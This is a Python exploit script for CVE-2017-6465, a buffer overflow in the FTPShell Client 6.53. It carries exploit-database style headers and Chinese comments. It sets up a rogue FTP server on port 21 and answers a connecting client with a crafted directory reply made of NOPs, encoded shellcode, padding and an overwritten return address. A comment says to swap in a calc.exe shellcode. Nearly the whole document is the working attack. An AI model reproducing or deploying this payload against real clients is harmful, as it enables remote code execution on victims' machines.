1 # Exploit Title: FTPShell Client 6.53 buffer overflow on making initial connection 2 # Date: 2017-03-04 3 # Exploit Author: Peter Baris 4 # Vendor Homepage: http://www.saptech-erp.com.au 5 # Software Link: http://www.ftpshell.com/downloadclient.htm 6 # Version: Windows Server 2008 R2 x64 7 # Tested on: Windows Server 2008 R2 Standard x64 8 # CVE: CVE-2017-6465 9 # 2017-03-04: Software vendor notified10 # 2017-03-06: No reply11 # 2017-03-06: Publishing12 13 import socket14 import sys15  16 shell=("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"17 "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"18 "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"19 "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"20 "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"21 "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"22 "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"23 "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"24 "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"25 "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"26 "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"27 "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"28 "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"29 "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"30 "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"31 "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"32 "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"33 "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"34 "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"35 "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"36 "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"37 "\x4e\x36\x43\x46\x42\x50\x5a")    #这里替换成弹出calc.exe的shellcode38  39 port = 2140  41 try:42         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)43         s.bind(("0.0.0.0", port))　　#绑定本地21端口44         s.listen(5)　　　　　　　　　　#开启FTP服务监听45         print("[i] FTP server started on port: "+str(port)+"\r\n")46 except:47         print("[!] Failed to bind the server to port: "+str(port)+"\r\n")48  49  50 # 004b95dc in ftpshell.exe PUSH ESI ; RETN51 eip = "\xdc\x95\x4b"　　#该地址在WinXP SP3 EN中仍可使用52 nops = "\x90"*853 junk = "A"*(400-len(nops)-len(shell))54 buffer = nops + shell + junk + eip　　#构造出恶意Buffer结构55  56 while True:57     conn, addr = s.accept()58     conn.send(‘220 Welcome to your unfriendly FTP server\r\n‘)59     print(conn.recv(1024))60     conn.send("331 OK\r\n")61     print(conn.recv(1024))62     conn.send(‘230 OK\r\n‘)63     print(conn.recv(1024))64     conn.send(‘220 "‘+buffer+‘" is current directory\r\n‘)　　#发送恶意Buffer结构